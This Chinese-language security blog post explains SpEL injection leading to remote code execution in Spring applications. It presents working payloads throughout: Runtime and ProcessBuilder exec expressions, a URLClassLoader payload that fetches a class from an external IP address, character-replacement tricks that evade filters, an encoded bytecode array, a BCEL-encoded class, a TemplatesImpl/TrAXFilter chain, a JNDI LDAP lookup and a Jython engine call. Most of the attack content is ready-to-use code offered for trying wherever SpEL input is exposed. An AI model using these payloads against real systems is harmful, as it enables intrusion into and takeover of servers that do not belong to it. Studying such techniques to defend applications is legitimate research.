SpEL注入RCE分析与绕过以及java单向执行链的思考

spel简介:

一篇老文章了,放在电脑里许久了,今天发出来;

Spring表达式语言(简称 SpEL,全称Spring Expression Language)是一种功能强大的表达式语言,支持在运行时查询和操作对象图。它语法类似于OGNL,MVEL和JBoss EL,在方法调用和基本的字符串模板提供了极大地便利,也开发减轻了Java代码量。另外 , SpEL是Spring产品组合中表达评估的基础,但它并不直接与Spring绑定,可以独立使用。

基本用法:

SpEL调用流程 : 1.新建解析器 2.解析表达式 3.注册变量(可省,在取值之前注册) 4.取值

下面来记述几种用法:

示例1:不注册新变量的用法

1
2
3
ExpressionParser parser = new SpelExpressionParser();//创建解析器
Expression exp = parser.parseExpression("new java.lang.ProcessBuilder(new String[]{"open","/System/Applications/Calculator.app"}).start()");//解析表达式
System.out.println( exp.getValue() );//弹出计算器;

一个基本的例子;

示例2:自定义注册加载变量的用法

1
2
3
4
5
public class s1mple{
public void play(){
System.out.println("play_is_nice");
}
}
1
2
3
4
5
6
s1mple s1mple = new s1mple();
ExpressionParser parser = new SpelExpressionParser();
StandardEvaluationContext context=new StandardEvaluationContext();
context.setVariable("s1mple",s1mple);
Expression test_expressions = parser.parseExpression("#s1mple.play()");
System.out.println(test_expressions.getValue(context));//输出play_is_nice

可以看到也可利用上下文环境,向上下文环境中set一些映射,然后利用#拿到相关的映射;

RCE:

之前已经给过一些例子了,就在上面,一些基本的点可以直接rce;比如常规的调用processbuilder和runtime这些;那么下面就给出几个不算是很常规的rce点;

相信研究过jndi在高版本jdk下的一些敏感利用方式,其中有一个是利用jsEngine进行攻击,调用其下的eval方法执行;

LC8B9g.png

可以很清晰的看到已经执行了命令,那么这个逻辑其实也是很常见,在高版本的jndi注入下很常用,结合BeanFactory经常用来绕过JEP290的一些点;非常的常见;但是对于没有研究过高版本jdk下的一些利用的话就可能不是很常见了;

Poc如下:

1
2
"s=[2];s[0]='open';s[1]='/System/Applications/Calculator.app';java.lang.Runtime.getRuntime().exec(s);"
"s=[2];s[0]='open';s[1]='/System/Applications/Calculator.app';new java.lang.ProcessBuilder(s).start();"

这里获取js引擎的方法有很多种;[nashorn, Nashorn, js, JS, JavaScript, javascript, ECMAScript, ecmascript],所以在getEngineByName的时候写法也会有很多,相关性可以看下面这个链接的简单描述;

https://www.jianshu.com/p/030421180283

一些骚姿势RCE:

利用反射进行rce的操作;对于反射,相信不用再多提。是一种动态获取信息以及动态调用对象方法的功能;

方法一: URLClassLoader加载class导致rce

这里需要对classloader有一些清晰的认知,classloader可以从两个角度来看待其之间的关联;

一:静态代码角度;

这个角度来看待,appClassLoader和ExtClassLoader都继承于URLClassLoader这个classloader;可以看作是其拓展,urlCLassLoader又是继承与SecureClassLoader,SecureClassLoader又继承于ClassLoader这个class;它是一个基类,也是抽象类;

二:树的角度来看待;

从这个角度来看待就可以理解双亲委派的一些机制,这个角度来看待AppClassLoader的parent是ExtClassLoader;ExtClassLoader的parent为null;因为BootStrapClassLoader是用C++实现的,在初始化初期,BootStrapClassLoader直接初始化ExtClassLoader和AppClassLoader两个ClassLoader;

回到主题,远程加载CLass进行rce:给出Poc:

1
new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL(\"http://120.53.29.60:9900/\")}).loadClass(\"Exp\").getConstructor().newInstance()

远程server为如下图:

LCoNqJ.png

原理也不是很难理解;也算是比较常规的操作之一;

方法二:AppClassLoader加载CLass;

之前分析过,静态结构来看,AppClassLoader继承于URLClassLoader;其可以加载本地classpath中的一些class;获取相关的ClassLoader也很简单,直接

1
ClassLoader.getSystemClassLoader();

拿到即可,然后就是一些常规操作,loadClass相关的恶意class之类的,比如runtime或者ProcessBuilder;

1
T(ClassLoader).getSystemClassLoader().loadClass("java.lang.Runtime").getRuntime().exec("open /System/Applications/Calculator.app")

常规操作,没什么好讲的;积累经验;

同理:

1
T(ClassLoader).getSystemClassLoader().loadClass("java.lang.ProcessBuilder").getConstructors()[1].newInstance(new String[]{"open","/System/Applications/Calculator.app"}).start()

loadClass之后返回的是一个Class对象,所以后续就可进行相关的操作;也不难理解;

方法三:采用字符bypass;

直接拿例子说话,先来看个Poc:

1
2
T(String).getName()[0].replace(106,104)

这个结果返回的是h;至于原因其实很好理解,前面返回java.xxxxx,然后拿到第一个字符,然后替换一下;就可以改变成我们需要的字符,其实不是很难理解;

方法四:通过内置的对象获取Classloader;

​ 其实这个点已经很常见了。还记得在tomcat的内存马那个分析的时候是如何获取StandardContext的嘛。最开始的入口点是在request里,通过request拿到相关的Context属性,然后进一步向前推,拿到StandardContext;所以这里可以类比一下,同理;一般一些web服务在最开始的时候就会将request和response进行注册,所以通过这内置的属性,就可直接进行相关classLoader的获取;

这种方法之前也有很多师傅们研究过,我这边就借用了;

https://mp.weixin.qq.com/s?__biz=MzAwMzI0MTMwOQ==&idx=1&mid=2650174018&sn=94cd324370afc2024346f7c508ff77dd

可以采用Character构建字符串等等;我这里就不多提了;

方法五:外部可控字符进行绕过

结合相关的请求;采用request来进行获取GET或者POST字符,然后进行replace。也是老套路了;

1
2
#request.getMethod().substring(0,1).replace(80,112)%2b#request.getMethod().substring(0,1).replace(80,111)%2b#request.getMethod().substring(0,1).replace(80,115)%2b#request.getMethod().substring(0,1).replace(80,116)%2b//post

1
2
#request.getMethod().substring(0,1).replace(71,103)%2b#request.getMethod().substring(0,1).replace(71,101)%2b#request.getMethod().substring(0,1).replace(71,116)%2b//get

或者在header里进行相关的处理获取:

1
request.getRequestedSessionId();

cookie中的jsessionid读取数据,然后用其来替代一些spel表达式中的str;可以实现饶过;

拓展:

​ 其实我们不妨换个角度来考虑一下这个问题,整体的流程来看。spel只是属于单向代码执行链;它并不像java的一般gadget反射那么的灵活,可以通过setAccessible来取消默认Java语言访问控制检查的能力;所以基于此,我们并不能很活泛的去执行一些命令或者说调用一些方法;

​ 举个具体的例子;假如对应类Runtime里面的getRuntime方法的描述符规定的访问权限不为public,此时我们的单向代码执行链就无法执行下去,然而对于java的反射gadgets,可以通过setAccessible进行取消java的检查能力,单向代码执行链之所以不能利用,是因为单向代码执行是需要建立在前一个执行有返回结果的基础之上的,无论是返回对象或者是Class对象,需要以此来作为执行的基础,然而setAccessible是没有返回值的;所以基于这个角度来说,单向执行链条还是有一定的局限的,这也就为spel深入的探索埋下了伏笔;所以我们为了执行一些命令并尽可能的拿到回显,就不光是需要一个可以执行代码的上下文,更需要一个当前执行环境中的上下文;实现这两点的关键问题所在就是转化成了我们需要当前环境下的classloader进行加载我们需要运行的代码或者通过其他的脚本引擎加载代码;

相关的classloader的一点利用在上面已经有过一些补充,下面具体的看看:Classloader在加载class的时候也是符合着双亲委派的模式的,是需要定义好parentClassLoader的;除非是启动类加载器或者专门去打破双亲委派的情况。所以在loadClass之前需要定义好当前的classLoader的实例才可以运行(即设定好parentClassLoader);大部分第三方实现的ClassLoader都需要用户自行获取并传入自定义或上下文的classLoader对象,比如:

Lib8Yj.png

​ 同时ClassLoader类也不支持序列化因此也无法传入,所以我们要找到直接可以调用的就需要满足它运行时自己获取了上下文的classLoader而不用我们传入。其实根本上是因为无论是loadClass还是defineClass,在进行加载class的时候都会对class进行检查的操作,检查其是否继承一些class;由于我们需要去define的类是继承于Object的;所以就会采用我们使用的类加载器调用loadClass来加载java.lang.Object。也就是说肯定会出现父类(这里是java.lang.Object)进入到loadClass方法;如果自定义的第三方classloader没有设置父classloader,那么就会报错,爆出空指针或者NoClassDefFoundError;具体的还要根据实际情况来看;

找一下就可以找到一些:

如果目标有rhino依赖,那么就有一个可以利用的链;在jdk版本比较低的时候会存在这个class;

1
2
org.mozilla.javascript.DefiningClassLoader

LFSgc4.png

可以看到,在这个class下的构造方法,其中直接赋值了parentLoader;其下还有个defineClass可以利用;

LFNFbQ.png

可以很清晰的看到效果;直接弹;

放出我server的逻辑;我的server是springboot;

LFNm80.png

攻击载荷如下:

1
2
3
exp
-54,-2,-70,-66,0,0,0,52,0,40,10,0,8,0,24,10,0,25,0,26,8,0,27,10,0,25,0,28,7,0,29,10,0,5,0,30,7,0,31,7,0,32,7,0,33,1,0,6,60,105,110,105,116,62,1,0,3,40,41,86,1,0,4,67,111,100,101,1,0,15,76,105,110,101,78,117,109,98,101,114,84,97,98,108,101,1,0,18,76,111,99,97,108,86,97,114,105,97,98,108,101,84,97,98,108,101,1,0,4,116,104,105,115,1,0,5,76,101,120,112,59,1,0,8,60,99,108,105,110,105,116,62,1,0,1,101,1,0,21,76,106,97,118,97,47,105,111,47,73,79,69,120,99,101,112,116,105,111,110,59,1,0,13,83,116,97,99,107,77,97,112,84,97,98,108,101,7,0,29,1,0,10,83,111,117,114,99,101,70,105,108,101,1,0,8,101,120,112,46,106,97,118,97,12,0,10,0,11,7,0,34,12,0,35,0,36,1,0,61,47,83,121,115,116,101,109,47,65,112,112,108,105,99,97,116,105,111,110,115,47,67,97,108,99,117,108,97,116,111,114,46,97,112,112,47,67,111,110,116,101,110,116,115,47,77,97,99,79,83,47,67,97,108,99,117,108,97,116,111,114,12,0,37,0,38,1,0,19,106,97,118,97,47,105,111,47,73,79,69,120,99,101,112,116,105,111,110,12,0,39,0,11,1,0,3,101,120,112,1,0,16,106,97,118,97,47,108,97,110,103,47,79,98,106,101,99,116,1,0,20,106,97,118,97,47,105,111,47,83,101,114,105,97,108,105,122,97,98,108,101,1,0,17,106,97,118,97,47,108,97,110,103,47,82,117,110,116,105,109,101,1,0,10,103,101,116,82,117,110,116,105,109,101,1,0,21,40,41,76,106,97,118,97,47,108,97,110,103,47,82,117,110,116,105,109,101,59,1,0,4,101,120,101,99,1,0,39,40,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,41,76,106,97,118,97,47,108,97,110,103,47,80,114,111,99,101,115,115,59,1,0,15,112,114,105,110,116,83,116,97,99,107,84,114,97,99,101,0,33,0,7,0,8,0,1,0,9,0,0,0,2,0,1,0,10,0,11,0,1,0,12,0,0,0,47,0,1,0,1,0,0,0,5,42,-73,0,1,-79,0,0,0,2,0,13,0,0,0,6,0,1,0,0,0,4,0,14,0,0,0,12,0,1,0,0,0,5,0,15,0,16,0,0,0,8,0,17,0,11,0,1,0,12,0,0,0,97,0,2,0,1,0,0,0,18,-72,0,2,18,3,-74,0,4,87,-89,0,8,75,42,-74,0,6,-79,0,1,0,0,0,9,0,12,0,5,0,3,0,13,0,0,0,22,0,5,0,0,0,9,0,9,0,12,0,12,0,10,0,13,0,11,0,17,0,14,0,14,0,0,0,12,0,1,0,13,0,4,0,18,0,19,0,0,0,20,0,0,0,7,0,2,76,7,0,21,4,0,1,0,22,0,0,0,2,0,23

除此之外还有一些可用的点:

比如jndi在高版本jdk下的利用点,有一个grovvy的利用点;

LFdiDO.png

可以看到在构造函数中利用充载给其父加载器进行赋值;

而在这个class下同样存在defineClass函数;

LFdMKf.png

这里和之前那个一样,直接打就行;如果存在spel,这也是个不错的利用点;

当然这个点也可用evaluate函数执行groovy脚本;

BCEL ClassLoader

字节码操作相关类,这里举例BCEL(Byte Code Engineering Library),是Java classworking最广泛使用的一种框架。它在实际的JVM指令层次上进行操作(BCEL拥有丰富的JVM 指令级支持)而Javassist所强调的源代码级别的工作。
JDK1.6开始引入自带的BCEL,BCEL的ClassLoader对于高版本的JDK也是在实际中非常好利用的一种。需要注意的是BCEL loadClass时候会有classpath的限制。

LFwcTg.png

可以看到这个点也是符合之前的分析要求的;也说到这个是基于jvm指令进行操作的;所以利用点有一点别致:

1
2
com.sun.org.apache.bcel.internal.util.ClassLoader.class.newInstance().loadClass("$BCEL$l$8b$I$A$A$A$A$A$A$A$8dT$ebR$dbF$U$fe$d6$96$bdB$88$9b$N$E$HB$93$5e$a8$J$60$e7$7e1$nmqI$9b$d6P$82$T$a8$a0m$o$e4$F$94$80$e4HrBf2$93$ff$7d$83$f4$Fx$D$3bSO$db$7f$f9$d1$t$e9S$d4$3d$x$e3$da4$ceL$3d$d6J$fb$ed$b9$7c$e7$b2$e7$cf$bf$7f$fd$j$c0$V$d8$g$3e$40V$c5$F$N$XqI$83$8a$cb$w$ae$c8$f7U$8ek$i$d7U$dcPqSEN$c5$bc$G$8e$5brY$d0p$h$9fq$7c$ae$e2$L$N$8b$c8k$Y$c4$97$iK$g$86q$87$e3$x$N$a3$c8$ca$cd$d7$f2$eb$ae$8ao8$be$95$9f$F$N$e3X$e6X$e1$f8$8e$n$7e$cbv$ec$e06$c3H$ba$f0$d8$7cff$f7Mg7$5b$M$3c$db$d9$9d$9f$5egP$f2nI0$M$UlG$acT$O$b6$85w$df$dc$de$t$a4$af$Y$98$d6$93e$b3$i$eeC$7b$d79V9$ee$R$x$oB$i$Y$b4$a5CK$94$D$dbu$7c$da$U$dd$8ag$89$3b$b6T$l$5c$f5$5cK$f8$fe$d2$a1$b02$d2$b3$8e$b3Xc$e0$ae$9fq$cc$D2X$d4q$l$Pt$acc$83$n$fa$dcvt$7c$P$83a$ac$cd$f3$d8$c6b$c5$de$_$J$8f$8c$fe7$E$86$88$bfG$cb$9cE$96$ad$83RF$i$92$efH$d6$92$de6ul$e1$H$8e$lu$fc$84$87$M$a9P$dbv$b3w$9dr$r$m$D$c2$3cX$Tfh9$ba$bb$fd$84$e3$91$O$T$dbR$97$ec$8d$b6$c4$X$x$3b$3b$c2$T$a5$a6$ac$3c$z$b5N$3b$a84$a5t$Il$e8$d8$BQc$gC$b2$z$f6o$aat$ecI$99$b38$c7$d0$db$91$s$wR$5b$3a$bfo$fa$7e$c1m$b2Kn$bd$5b$bc$96$ed$93$f1P$qiY$d6$ceL$bd$f0$DA$H$bd$bb$o$moe$e1$F$_$Y$a6$ba$f5C7$_$bd$81$5bp$9f$L$_o$fa$94$da$e1tW$n$d5r$9d$c0$b4e$X$8cw$g$ce$ef$99$5eQ$3c$ad$I$c7$S$f3$d3$9b$94$b6t$97P$q$e1$98$l$98$5e$m$fb$b4$d3$c1qv$c8$c3$d0$3b$mC$3fEt$o$f6S$z$e5$93I$99o5$95C$b8E$94$7c$R$84$d4$e8M$7d$b3$e3z$x$d4$91$M$99$f7$e7$a4$8b$sY$bd$94$ee$ea$ee$fd$w2$d2d$5b$a9$d9Q$n$aa$92fI$5eB$ba$b3f$b9$y$i$ea$b1$d9$ffU$a3f$e3$c9$o$En$T$c19L$d2$d0$91$3f$eaB$d9h$88$e0C$dal$o$8e$kB$8f$ce$d7$c0$94$85D$e4$N$a2$xso14W$85$92$88U$R$7f$8dXt$a1$OnL$bc$c6X$fc7$a8F4$d1S4$94$84V4b3$c5$p$8c$i$83$bd$S$d4C$b0$86$be$w$fa$ab$Y$c8$vu$M$g$v$r1$f4$G$89$g$92$b9X$j$c3F$wV$c3H$5e$c7$a8Q$c3$a9$ig95$V$afb$cc$c8$a9o$91L$f1$94ZE$wq$9a$96$8d$a3$c6_u$8c$h$v$5e$c5D$Ng$fe$m$aa$R$7cD$eb5$f4$d1$g$83B$B$c4i$3c$ea4$3e$t$u$94I$c8$a1$d1G$X$aa$l$3e$G$f0$92$a6$e4$x$q$f03$92$f8$85$86$e1$c7$a4$r$Qk$90$a0$c2$f1$J$c7$U$a3$Hh$90v$t$QQ1I$ff$G$86N$c0$d1$s$cc$f1i$83$86wO$fb$84$p$cd1$cdq$9ec$s4x$g$b3$e4J$a1l$8f$d33$X$S$cf$fc$D0$bd$y$da$E$G$A$A").getConstructor(new Class[]{String.class}).newInstance(new Object[]{"ifconfig"});

也是一种攻击情况,可以在存在spel的地方进行尝试;

TemplatesImpl

​ 这个利用点的由来还是在分析CC的时候比较常见,这个里面会对bytecode的字节数组直接进行defineClass的操作;所以也可从这个角度思考,能否在单向链中采用这个利用点呢?

找了下class;发现TrAXFilter可以胜任;

LFj6D1.png

看一下相关的逻辑,这里传入一个Templates类型的对象,然后就可直接在构造器里直接进行调用newTransformer函数;这个函数其实并不陌生;但是这里还是回顾一下调用链,可以到TemplatesImpl下看一下;

LFviV0.png

可以清楚的看到这个点,触发了getTransletInstance方法;追过去看一下逻辑;

LFvnM9.png

可以很清晰的看到对class进行了实例化的操作;向前有一个判断class是否为null的,追进去看看;

LFxMlQ.png

看到相关的逻辑,class就是从bytecode这个地方进行define的;所以逻辑很明确了;其实也还是原来的CC链的原理;

给出exp;

1
2
3
4
5
CCexp cCexp = new CCexp();
Object getobject = cCexp.getObject();
System.out.println(getobject);
TrAXFilter.class.getConstructor(Templates.class).newInstance(getobject);

转换成单向链条调用之后就为

1
2
T(org.apache.xalan.xsltc.trax.TrAXFilter).getConstructor(Templates.class).newInstance(getobject)

Lk7Bb8.png

不过这个点相对比较的鸡肋一点;主要的问题就是如何生成恶意的obj然后传入的问题;不过如果可以控制的话倒是可以进行传入;

JNDI

老生常谈的话题了;

1
2
T(javax.naming.InitialContext).newInstance().lookup("ldap://127.0.0.1:1389/s1mple_hack_it")

不过问题就是在于是否可以出网;

其他引擎

当然上面提到了jsEngine;所以除这个之外,还有一些其他的引擎

Jython

1
2
3
4
5
T(PythonInterpreter).newInstance().exec("from java.lang import Thread;\n" +
"stack=Thread.currentThread().getStackTrace();\n" +
"for i in range(0, len(stack)):\n" +
" print(stack[i])\n");

具体问题结合具体的环境进行分析即可,根据调用不同的引擎也算是一种思路;